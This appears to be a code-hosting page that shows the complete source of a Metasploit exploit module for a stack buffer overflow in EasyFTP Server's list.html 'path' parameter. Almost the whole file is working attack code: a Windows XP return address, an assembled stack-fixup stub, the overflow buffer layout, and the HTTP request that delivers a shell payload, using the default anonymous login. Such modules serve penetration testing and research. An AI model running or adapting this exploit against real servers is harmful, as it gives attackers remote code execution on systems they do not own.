Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  HttpFingerprint = { :pattern => [ /Easy-Web Server\// ] }
10

11
  include Msf::Exploit::Remote::HttpClient
12

13
  def initialize(info = {})
14
    super(update_info(info,
15
      'Name'           => 'EasyFTP Server list.html path Stack Buffer Overflow',
16
      'Description'    => %q{
17
          This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11
18
        and earlier. EasyFTP fails to check input size when parsing the 'path' parameter
19
        supplied to an HTTP GET request, which leads to a stack based buffer overflow.
20
        EasyFTP allows anonymous access by default; valid credentials are typically
21
        unnecessary to exploit this vulnerability.
22

23
        After version 1.7.0.12, this package was renamed "UplusFtp".
24

25
        Due to limited space, as well as difficulties using an egghunter, the use of
26
        staged, ORD, and/or shell payloads is recommended.
27
      },
28
      'Author'         =>
29
        [
30
          'ThE g0bL!N',   # Original exploit [see References]
31
          'jduck'         # Metasploit re-implementation
32
        ],
33
      'References'     =>
34
        [
35
          [ 'OSVDB', '66614'],
36
          [ 'EDB', '11500' ]
37
        ],
38
      'DefaultOptions' =>
39
        {
40
          'EXITFUNC' => 'thread'
41
        },
42
      'Privileged'     => true,
43
      'Payload'        =>
44
        {
45
          'Space'    => 256,
46
          'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x23\x25\x26\x2b\x2f\x3b\x3f\x5c",
47
          'Compat'   =>
48
          {
49
            'ConnectionType' => '+ws2ord',
50
          },
51
        },
52
      'Platform'       => 'win',
53
      'Targets'        =>
54
        [
55
          [	'Windows XP SP3 - Easy FTP Server Universal',
56
            # NOTE: It's not possible to use addresses within the
57
            # binary due to the nul byte.
58
            {
59
              'Ret'      => 0x7cc5d507  # jmp esp in shell32.dll
60
              #'Ret'      => 0xdeadbeef
61
            }
62
          ]
63
        ],
64
      'DefaultTarget'  => 0,
65
      'DisclosureDate' => '2010-02-18'
66
    ))
67

68
    register_options(
69
      [
70
        Opt::RPORT(8080),
71
        OptString.new('HttpUsername', [true, 'The HTTP username to specify for basic authentication', 'anonymous']),
72
        OptString.new('HttpPassword', [true, 'The HTTP password to specify for basic authentication', '[email protected]'])
73
      ])
74
  end
75

76
  def check
77
    info = http_fingerprint  # check method
78
    if info and (info =~ /Easy\-Web Server\//)
79
      return Exploit::CheckCode::Detected
80
    end
81
    Exploit::CheckCode::Safe
82
  end
83

84

85
  def exploit
86
    if (payload.encoded.length > payload_space)
87
      fail_with(Failure::Unknown, "Insufficient space for payload, try using a staged, ORD and/or shell payload.")
88
    end
89

90
    # Fix up ESP, jmp to the beginning of the buffer
91
    stub_asm = %q{
92
      mov edi, esp
93
      add esp, 0xfffffc04
94
      add edi, 0xfffffee8
95
      jmp edi
96
    }
97
    stub = Metasm::Shellcode.assemble(Metasm::Ia32.new, stub_asm).encode_string
98

99
    # Build the path up
100
    path = ''
101
    path << payload.encoded
102
    path << rand_text(268 - path.length)
103
    # NOTE: It's possible to overwrite SEH, however SafeSEH is in effect.
104
    path << [target.ret].pack('V')
105
    path << rand_text(280 - path.length)
106
    path << stub
107
    path << rand_text(332 - path.length)
108

109
    uri = "/list.html?path="
110
    uri << path
111

112
    print_status("Trying target #{target.name}...")
113
    res = send_request_raw({ 'uri' => uri }, 5)
114

115
    if (res)
116
      print_error("The server unexpectedly responded, this is not good.")
117
      print_status(res.to_s)
118
    end
119

120
    handler
121
  end
122
end
123

124